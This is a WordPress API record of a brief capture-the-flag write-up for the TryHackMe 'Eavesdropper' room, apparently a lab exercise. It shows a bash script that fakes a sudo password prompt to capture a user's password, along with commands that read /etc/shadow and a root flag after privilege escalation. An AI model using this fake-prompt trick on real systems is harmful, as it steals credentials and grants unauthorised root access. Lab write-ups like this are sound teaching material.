{"id":87,"date":"2023-02-06T15:43:03","date_gmt":"2023-02-06T14:43:03","guid":{"rendered":"https:\/\/www.daarts.nl\/?p=87"},"modified":"2023-05-11T12:24:47","modified_gmt":"2023-05-11T10:24:47","slug":"tryhackme-eavesdropper","status":"publish","type":"post","link":"https:\/\/www.daarts.nl\/?p=87","title":{"rendered":"Tryhackme Eavesdropper"},"content":{"rendered":"<p>Eavesdropper<\/p>\n<p>Steps done:<br \/>\nGot the ssh keys from website.<br \/>\nHint is What&#8217;s going on in the system?<br \/>\nDownloaded https:\/\/github.com\/DominicBreuker\/pspy\/ for checking what is happening on the system<br \/>\nCMD: UID=0 PID=22428 | sudo cat \/etc\/shadow<br \/>\nevery few seconds this pops up<br \/>\nI could write in \/tmp<br \/>\nMake a script:<br \/>\n#!\/bin\/bash<br \/>\nread -p &#8220;[sudo] password for frank: &#8221; pass<br \/>\necho $pass &gt; pass.txt<br \/>\nafter logging in again there is a pass.txt with the password<br \/>\nwith that i could do a sudo -l and i could do anything<br \/>\nsudo cat \/root\/flag.txt<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Eavesdropper Steps done: Got the ssh keys from website. Hint is What&#8217;s going on in the system? Downloaded https:\/\/github.com\/DominicBreuker\/pspy\/ for checking what is happening on the system CMD: UID=0 PID=22428 | sudo cat \/etc\/shadow every few seconds this pops up I could write in \/tmp Make a script: #!\/bin\/bash read -p &#8220;[sudo] password for frank: [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[29],"class_list":["post-87","post","type-post","status-publish","format-standard","hentry","category-tryhackme","tag-tryhackme"],"_links":{"self":[{"href":"https:\/\/www.daarts.nl\/index.php?rest_route=\/wp\/v2\/posts\/87","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.daarts.nl\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.daarts.nl\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.daarts.nl\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.daarts.nl\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=87"}],"version-history":[{"count":2,"href":"https:\/\/www.daarts.nl\/index.php?rest_route=\/wp\/v2\/posts\/87\/revisions"}],"predecessor-version":[{"id":99,"href":"https:\/\/www.daarts.nl\/index.php?rest_route=\/wp\/v2\/posts\/87\/revisions\/99"}],"wp:attachment":[{"href":"https:\/\/www.daarts.nl\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=87"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.daarts.nl\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=87"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.daarts.nl\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=87"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}